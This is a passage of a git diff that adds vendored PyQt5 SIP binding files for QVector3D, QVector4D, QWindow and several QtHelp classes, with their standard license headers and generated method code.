PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(z)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); + #endif + } + + Py_XDECREF(x); + Py_XDECREF(y); + Py_XDECREF(z); +%End + + float length() const; + float lengthSquared() const; + QVector3D normalized() const; + void normalize(); + static float dotProduct(const QVector3D &v1, const QVector3D &v2); + static QVector3D crossProduct(const QVector3D &v1, const QVector3D &v2); + static QVector3D normal(const QVector3D &v1, const QVector3D &v2); + static QVector3D normal(const QVector3D &v1, const QVector3D &v2, const QVector3D &v3); + float distanceToPlane(const QVector3D &plane, const QVector3D &normal) const; + float distanceToPlane(const QVector3D &plane1, const QVector3D &plane2, const QVector3D &plane3) const; + float distanceToLine(const QVector3D &point, const QVector3D &direction) const; + QVector2D toVector2D() const; + QVector4D toVector4D() const; + bool isNull() const; + float x() const; + float y() const; + float z() const; + void setX(float aX); + void setY(float aY); + void setZ(float aZ); + QVector3D &operator+=(const QVector3D &vector); + QVector3D &operator-=(const QVector3D &vector); + QVector3D &operator*=(float factor); + QVector3D &operator*=(const QVector3D &vector); + QVector3D &operator/=(float divisor); +%If (Qt_5_5_0 -) + QVector3D &operator/=(const QVector3D &vector); +%End + QPoint toPoint() const; + QPointF toPointF() const; +%If (Qt_5_1_0 -) + float distanceToPoint(const QVector3D &point) const; +%End +%If (Qt_5_2_0 -) + float operator[](int i) const; +%End +%If (Qt_5_5_0 -) + QVector3D project(const QMatrix4x4 &modelView, const QMatrix4x4 &projection, const QRect &viewport) const; +%End +%If (Qt_5_5_0 -) + QVector3D unproject(const QMatrix4x4 &modelView, const QMatrix4x4 &projection, const QRect &viewport) const; +%End +}; + +bool operator==(const QVector3D &v1, const QVector3D &v2); +bool operator!=(const QVector3D &v1, const QVector3D &v2); +const QVector3D operator+(const QVector3D &v1, const QVector3D &v2); +const QVector3D operator-(const QVector3D &v1, const QVector3D &v2); +const QVector3D operator*(float factor, const QVector3D &vector); +const QVector3D operator*(const QVector3D &vector, float factor); +const QVector3D operator*(const QVector3D &v1, const QVector3D &v2); +const QVector3D operator-(const QVector3D &vector); +const QVector3D operator/(const QVector3D &vector, float divisor); +%If (Qt_5_5_0 -) +const QVector3D operator/(const QVector3D &vector, const QVector3D &divisor); +%End +bool qFuzzyCompare(const QVector3D &v1, const QVector3D &v2); +QDataStream &operator<<(QDataStream &, const QVector3D & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QVector3D & /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qvector4d.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qvector4d.sip new file mode 100644 index 00000000..2ff4808d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qvector4d.sip @@ -0,0 +1,125 @@ +// qvector4d.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleCode +#include +%End + +class QVector4D +{ +%TypeHeaderCode +#include +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"dddd", (double)sipCpp->x(), + (double)sipCpp->y(), (double)sipCpp->z(), (double)sipCpp->w()); +%End + +public: + QVector4D(); + QVector4D(float xpos, float ypos, float zpos, float wpos); + explicit QVector4D(const QPoint &point); + explicit QVector4D(const QPointF &point); + QVector4D(const QVector2D &vector); + QVector4D(const QVector2D &vector, float zpos, float wpos); + QVector4D(const QVector3D &vector); + QVector4D(const QVector3D &vector, float wpos); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + PyObject *x = PyFloat_FromDouble(sipCpp->x()); + PyObject *y = PyFloat_FromDouble(sipCpp->y()); + PyObject *z = PyFloat_FromDouble(sipCpp->z()); + PyObject *w = PyFloat_FromDouble(sipCpp->w()); + + if (x && y && z && w) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtGui.QVector4D(%R, %R, %R, %R)", x, + y, z, w); + #else + sipRes = PyString_FromString("PyQt5.QtGui.QVector4D("); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(x)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(y)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(z)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(w)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); + #endif + } + + Py_XDECREF(x); + Py_XDECREF(y); + Py_XDECREF(z); + Py_XDECREF(w); +%End + + float length() const; + float lengthSquared() const; + QVector4D normalized() const; + void normalize(); + static float dotProduct(const QVector4D &v1, const QVector4D &v2); + QVector2D toVector2D() const; + QVector2D toVector2DAffine() const; + QVector3D toVector3D() const; + QVector3D toVector3DAffine() const; + bool isNull() const; + float x() const; + float y() const; + float z() const; + float w() const; + void setX(float aX); + void setY(float aY); + void setZ(float aZ); + void setW(float aW); + QVector4D &operator+=(const QVector4D &vector); + QVector4D &operator-=(const QVector4D &vector); + QVector4D &operator*=(float factor); + QVector4D &operator*=(const QVector4D &vector); + QVector4D &operator/=(float divisor); +%If (Qt_5_5_0 -) + QVector4D &operator/=(const QVector4D &vector); +%End + QPoint toPoint() const; + QPointF toPointF() const; +%If (Qt_5_2_0 -) + float operator[](int i) const; +%End +}; + +bool operator==(const QVector4D &v1, const QVector4D &v2); +bool operator!=(const QVector4D &v1, const QVector4D &v2); +const QVector4D operator+(const QVector4D &v1, const QVector4D &v2); +const QVector4D operator-(const QVector4D &v1, const QVector4D &v2); +const QVector4D operator*(float factor, const QVector4D &vector); +const QVector4D operator*(const QVector4D &vector, float factor); +const QVector4D operator*(const QVector4D &v1, const QVector4D &v2); +const QVector4D operator-(const QVector4D &vector); +const QVector4D operator/(const QVector4D &vector, float divisor); +%If (Qt_5_5_0 -) +const QVector4D operator/(const QVector4D &vector, const QVector4D &divisor); +%End +bool qFuzzyCompare(const QVector4D &v1, const QVector4D &v2); +QDataStream &operator<<(QDataStream &, const QVector4D & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QVector4D & /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qwindow.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qwindow.sip new file mode 100644 index 00000000..b0636ecc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qwindow.sip @@ -0,0 +1,249 @@ +// qwindow.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QWindow : QObject, QSurface +{ +%TypeHeaderCode +#include +%End + +public: + explicit QWindow(QScreen *screen = 0); + explicit QWindow(QWindow *parent /TransferThis/); + virtual ~QWindow(); + void setSurfaceType(QSurface::SurfaceType surfaceType); + virtual QSurface::SurfaceType surfaceType() const; + bool isVisible() const; + void create(); + WId winId() const; + QWindow *parent() const; + void setParent(QWindow *parent /Transfer/); + bool isTopLevel() const; + bool isModal() const; + Qt::WindowModality modality() const; + void setModality(Qt::WindowModality modality); + void setFormat(const QSurfaceFormat &format); + virtual QSurfaceFormat format() const; + QSurfaceFormat requestedFormat() const; + void setFlags(Qt::WindowFlags flags); + Qt::WindowFlags flags() const; + Qt::WindowType type() const; + QString title() const; + void setOpacity(qreal level); + +public slots: + void requestActivate(); + +public: + bool isActive() const; + void reportContentOrientationChange(Qt::ScreenOrientation orientation); + Qt::ScreenOrientation contentOrientation() const; + qreal devicePixelRatio() const; + Qt::WindowState windowState() const; + void setWindowState(Qt::WindowState state); + void setTransientParent(QWindow *parent); + QWindow *transientParent() const; + + enum AncestorMode + { + ExcludeTransients, + IncludeTransients, + }; + + bool isAncestorOf(const QWindow *child, QWindow::AncestorMode mode = QWindow::IncludeTransients) const; + bool isExposed() const; + int minimumWidth() const; + int minimumHeight() const; + int maximumWidth() const; + int maximumHeight() const; + QSize minimumSize() const; + QSize maximumSize() const; + QSize baseSize() const; + QSize sizeIncrement() const; + void setMinimumSize(const QSize &size); + void setMaximumSize(const QSize &size); + void setBaseSize(const QSize &size); + void setSizeIncrement(const QSize &size); + void setGeometry(int posx, int posy, int w, int h); + void setGeometry(const QRect &rect); + QRect geometry() const; + QMargins frameMargins() const; + QRect frameGeometry() const; + QPoint framePosition() const; + void setFramePosition(const QPoint &point); + int width() const; + int height() const; + int x() const; + int y() const; + virtual QSize size() const; + QPoint position() const; + void setPosition(const QPoint &pt); + void setPosition(int posx, int posy); + void resize(const QSize &newSize); + void resize(int w, int h); + void setFilePath(const QString &filePath); + QString filePath() const; + void setIcon(const QIcon &icon); + QIcon icon() const; + void destroy(); + bool setKeyboardGrabEnabled(bool grab); + bool setMouseGrabEnabled(bool grab); + QScreen *screen() const; + void setScreen(QScreen *screen); + virtual QObject *focusObject() const; + QPoint mapToGlobal(const QPoint &pos) const; + QPoint mapFromGlobal(const QPoint &pos) const; + QCursor cursor() const; + void setCursor(const QCursor &); + void unsetCursor(); + +public slots: + void setVisible(bool visible); + void show() /ReleaseGIL/; + void hide(); + void showMinimized() /ReleaseGIL/; + void showMaximized() /ReleaseGIL/; + void showFullScreen() /ReleaseGIL/; + void showNormal() /ReleaseGIL/; + bool close(); + void raise() /PyName=raise_/; + void lower(); + void setTitle(const QString &); + void setX(int arg); + void setY(int arg); + void setWidth(int arg); + void setHeight(int arg); + void setMinimumWidth(int w); + void setMinimumHeight(int h); + void setMaximumWidth(int w); + void setMaximumHeight(int h); +%If (Qt_5_1_0 -) + void alert(int msec); +%End +%If (Qt_5_5_0 -) + void requestUpdate(); +%End + +signals: + void screenChanged(QScreen *screen); + void modalityChanged(Qt::WindowModality modality); + void windowStateChanged(Qt::WindowState windowState); + void xChanged(int arg); + void yChanged(int arg); + void widthChanged(int arg); + void heightChanged(int arg); + void minimumWidthChanged(int arg); + void minimumHeightChanged(int arg); + void maximumWidthChanged(int arg); + void maximumHeightChanged(int arg); + void visibleChanged(bool arg); + void contentOrientationChanged(Qt::ScreenOrientation orientation); + void focusObjectChanged(QObject *object); +%If (Qt_5_3_0 -) + void windowTitleChanged(const QString &title); +%End + +protected: + virtual void exposeEvent(QExposeEvent *); + virtual void resizeEvent(QResizeEvent *); + virtual void moveEvent(QMoveEvent *); + virtual void focusInEvent(QFocusEvent *); + virtual void focusOutEvent(QFocusEvent *); + virtual void showEvent(QShowEvent *); + virtual void hideEvent(QHideEvent *); + virtual bool event(QEvent *); + virtual void keyPressEvent(QKeyEvent *); + virtual void keyReleaseEvent(QKeyEvent *); + virtual void mousePressEvent(QMouseEvent *); + virtual void mouseReleaseEvent(QMouseEvent *); + virtual void mouseDoubleClickEvent(QMouseEvent *); + virtual void mouseMoveEvent(QMouseEvent *); + virtual void wheelEvent(QWheelEvent *); + virtual void touchEvent(QTouchEvent *); + virtual void tabletEvent(QTabletEvent *); + +public: +%If (Qt_5_1_0 -) + + enum Visibility + { + Hidden, + AutomaticVisibility, + Windowed, + Minimized, + Maximized, + FullScreen, + }; + +%End +%If (Qt_5_1_0 -) + QWindow::Visibility visibility() const; +%End +%If (Qt_5_1_0 -) + void setVisibility(QWindow::Visibility v); +%End +%If (Qt_5_1_0 -) + qreal opacity() const; +%End +%If (Qt_5_1_0 -) + void setMask(const QRegion ®ion); +%End +%If (Qt_5_1_0 -) + QRegion mask() const; +%End +%If (Qt_5_1_0 -) + static QWindow *fromWinId(WId id); +%End + +signals: +%If (Qt_5_1_0 -) + void visibilityChanged(QWindow::Visibility visibility); +%End +%If (Qt_5_1_0 -) + void activeChanged(); +%End +%If (Qt_5_1_0 -) + void opacityChanged(qreal opacity); +%End + +public: +%If (Qt_5_9_0 -) + QWindow *parent(QWindow::AncestorMode mode) const; +%End +%If (Qt_5_9_0 -) + void setFlag(Qt::WindowType, bool on = true); +%End +%If (Qt_5_10_0 -) + Qt::WindowStates windowStates() const; +%End +%If (Qt_5_10_0 -) + void setWindowStates(Qt::WindowStates states); +%End + +public slots: +%If (Qt_5_15_0 -) + bool startSystemResize(Qt::Edges edges); +%End +%If (Qt_5_15_0 -) + bool startSystemMove(); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qwindowdefs.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qwindowdefs.sip new file mode 100644 index 00000000..4c7bb90f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qwindowdefs.sip @@ -0,0 +1,24 @@ +// qwindowdefs.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +typedef QList QWindowList; +typedef quintptr WId; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/QtHelp.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/QtHelp.toml new file mode 100644 index 00000000..8170d829 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/QtHelp.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtHelp. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/QtHelpmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/QtHelpmod.sip new file mode 100644 index 00000000..afae0848 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/QtHelpmod.sip @@ -0,0 +1,61 @@ +// QtHelpmod.sip generated by MetaSIP +// +// This file is part of the QtHelp Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtHelp, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtGui/QtGuimod.sip +%Import QtWidgets/QtWidgetsmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qcompressedhelpinfo.sip +%Include qhelpcontentwidget.sip +%Include qhelpengine.sip +%Include qhelpenginecore.sip +%Include qhelpfilterdata.sip +%Include qhelpfilterengine.sip +%Include qhelpfiltersettingswidget.sip +%Include qhelpindexwidget.sip +%Include qhelplink.sip +%Include qhelpsearchengine.sip +%Include qhelpsearchquerywidget.sip +%Include qhelpsearchresultwidget.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qcompressedhelpinfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qcompressedhelpinfo.sip new file mode 100644 index 00000000..7b53200f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qcompressedhelpinfo.sip @@ -0,0 +1,45 @@ +// qcompressedhelpinfo.sip generated by MetaSIP +// +// This file is part of the QtHelp Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_13_0 -) + +class QCompressedHelpInfo +{ +%TypeHeaderCode +#include +%End + +public: + QCompressedHelpInfo(); + QCompressedHelpInfo(const QCompressedHelpInfo &other); + ~QCompressedHelpInfo(); + void swap(QCompressedHelpInfo &other); + QString namespaceName() const; + QString component() const; + QVersionNumber version() const; + static QCompressedHelpInfo fromCompressedHelpFile(const QString &documentationFileName); +%If (Qt_5_15_0 -) + bool isNull() const; +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpcontentwidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpcontentwidget.sip new file mode 100644 index 00000000..8ce2f122 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpcontentwidget.sip @@ -0,0 +1,76 @@ +// qhelpcontentwidget.sip generated by MetaSIP +// +// This file is part of the QtHelp Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QHelpContentItem /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + ~QHelpContentItem(); + QHelpContentItem *child(int row) const; + int childCount() const; + QString title() const; + QUrl url() const; + int row() const; + QHelpContentItem *parent() const; + int childPosition(QHelpContentItem *child) const; +}; + +class QHelpContentModel : QAbstractItemModel /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QHelpContentModel(); + void createContents(const QString &customFilterName); + QHelpContentItem *contentItemAt(const QModelIndex &index) const; + virtual QVariant data(const QModelIndex &index, int role) const; + virtual QModelIndex index(int row, int column, const QModelIndex &parent = QModelIndex()) const; + virtual QModelIndex parent(const QModelIndex &index) const; + virtual int rowCount(const QModelIndex &parent = QModelIndex()) const; + virtual int columnCount(const QModelIndex &parent = QModelIndex()) const; + bool isCreatingContents() const; + +signals: + void contentsCreationStarted(); + void contentsCreated(); +}; + +class QHelpContentWidget : QTreeView +{ +%TypeHeaderCode +#include +%End + +public: + QModelIndex indexOf(const QUrl &link); + +signals: + void linkActivated(const QUrl &link); + +private: + QHelpContentWidget(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpengine.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpengine.sip new file mode 100644 index 00000000..2d96e1d3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpengine.sip @@ -0,0 +1,37 @@ +// qhelpengine.sip generated by MetaSIP +// +// This file is part of the QtHelp Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QHelpEngine : QHelpEngineCore +{ +%TypeHeaderCode +#include +%End + +public: + QHelpEngine(const QString &collectionFile, QObject *parent /TransferThis/ = 0); + virtual ~QHelpEngine(); + QHelpContentModel *contentModel() const; + QHelpIndexModel *indexModel() const; + QHelpContentWidget *contentWidget(); + QHelpIndexWidget *indexWidget(); + QHelpSearchEngine *searchEngine(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpenginecore.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpenginecore.sip new file mode 100644 index 00000000..edd004c0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpenginecore.sip @@ -0,0 +1,144 @@ +// qhelpenginecore.sip generated by MetaSIP +// +// This file is part of the QtHelp Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QHelpEngineCore : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QHelpContentModel, &sipType_QHelpContentModel, -1, 1}, + {sipName_QHelpContentWidget, &sipType_QHelpContentWidget, -1, 2}, + {sipName_QHelpEngineCore, &sipType_QHelpEngineCore, 10, 3}, + #if QT_VERSION >= 0x050d00 + {sipName_QHelpFilterEngine, &sipType_QHelpFilterEngine, -1, 4}, + #else + {0, 0, -1, 4}, + #endif + #if QT_VERSION >= 0x050f00 + {sipName_QHelpFilterSettingsWidget, &sipType_QHelpFilterSettingsWidget, -1, 5}, + #else + {0, 0, -1, 5}, + #endif + {sipName_QHelpIndexModel, &sipType_QHelpIndexModel, -1, 6}, + {sipName_QHelpIndexWidget, &sipType_QHelpIndexWidget, -1, 7}, + {sipName_QHelpSearchEngine, &sipType_QHelpSearchEngine, -1, 8}, + {sipName_QHelpSearchQueryWidget, &sipType_QHelpSearchQueryWidget, -1, 9}, + {sipName_QHelpSearchResultWidget, &sipType_QHelpSearchResultWidget, -1, -1}, + {sipName_QHelpEngine, &sipType_QHelpEngine, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + QHelpEngineCore(const QString &collectionFile, QObject *parent /TransferThis/ = 0); + virtual ~QHelpEngineCore(); + bool setupData(); + QString collectionFile() const; + void setCollectionFile(const QString &fileName); + bool copyCollectionFile(const QString &fileName); + static QString namespaceName(const QString &documentationFileName); + bool registerDocumentation(const QString &documentationFileName); + bool unregisterDocumentation(const QString &namespaceName); + QString documentationFileName(const QString &namespaceName); + QStringList customFilters() const; + bool removeCustomFilter(const QString &filterName); + bool addCustomFilter(const QString &filterName, const QStringList &attributes); + QStringList filterAttributes() const; + QStringList filterAttributes(const QString &filterName) const; + QString currentFilter() const; + void setCurrentFilter(const QString &filterName); + QStringList registeredDocumentations() const; + QList filterAttributeSets(const QString &namespaceName) const; + QList files(const QString namespaceName, const QStringList &filterAttributes, const QString &extensionFilter = QString()); + QUrl findFile(const QUrl &url) const; + QByteArray fileData(const QUrl &url) const; + QMap linksForIdentifier(const QString &id) const; +%If (Qt_5_9_0 -) + QMap linksForKeyword(const QString &keyword) const; +%End + bool removeCustomValue(const QString &key); + QVariant customValue(const QString &key, const QVariant &defaultValue = QVariant()) const; + bool setCustomValue(const QString &key, const QVariant &value); + static QVariant metaData(const QString &documentationFileName, const QString &name); + QString error() const; + bool autoSaveFilter() const; + void setAutoSaveFilter(bool save); + +signals: + void setupStarted(); + void setupFinished(); + void currentFilterChanged(const QString &newFilter); + void warning(const QString &msg); +%If (Qt_5_4_0 -) + void readersAboutToBeInvalidated(); +%End + +public: +%If (Qt_5_13_0 -) + QHelpFilterEngine *filterEngine() const; +%End +%If (Qt_5_13_0 -) + QList files(const QString namespaceName, const QString &filterName, const QString &extensionFilter = QString()); +%End +%If (Qt_5_13_0 -) + void setUsesFilterEngine(bool uses); +%End +%If (Qt_5_13_0 -) + bool usesFilterEngine() const; +%End +%If (Qt_5_15_0 -) + QList documentsForIdentifier(const QString &id) const; +%End +%If (Qt_5_15_0 -) + QList documentsForIdentifier(const QString &id, const QString &filterName) const; +%End +%If (Qt_5_15_0 -) + QList documentsForKeyword(const QString &keyword) const; +%End +%If (Qt_5_15_0 -) + QList documentsForKeyword(const QString &keyword, const QString &filterName) const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpfilterdata.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpfilterdata.sip new file mode 100644 index 00000000..93ff2647 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpfilterdata.sip @@ -0,0 +1,43 @@ +// qhelpfilterdata.sip generated by MetaSIP +// +// This file is part of the QtHelp Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_13_0 -) + +class QHelpFilterData +{ +%TypeHeaderCode +#include +%End + +public: + QHelpFilterData(); + QHelpFilterData(const QHelpFilterData &other); + ~QHelpFilterData(); + bool operator==(const QHelpFilterData &other) const; + void swap(QHelpFilterData &other); + void setComponents(const QStringList &components); + void setVersions(const QList &versions); + QStringList components() const; + QList versions() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpfilterengine.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpfilterengine.sip new file mode 100644 index 00000000..f0d1573a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtHelp/qhelpfilterengine.sip @@ -0,0 +1,61 @@ +// qhelpfilterengine.sip generated by MetaSIP +// +// This file is part of the QtHelp Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided 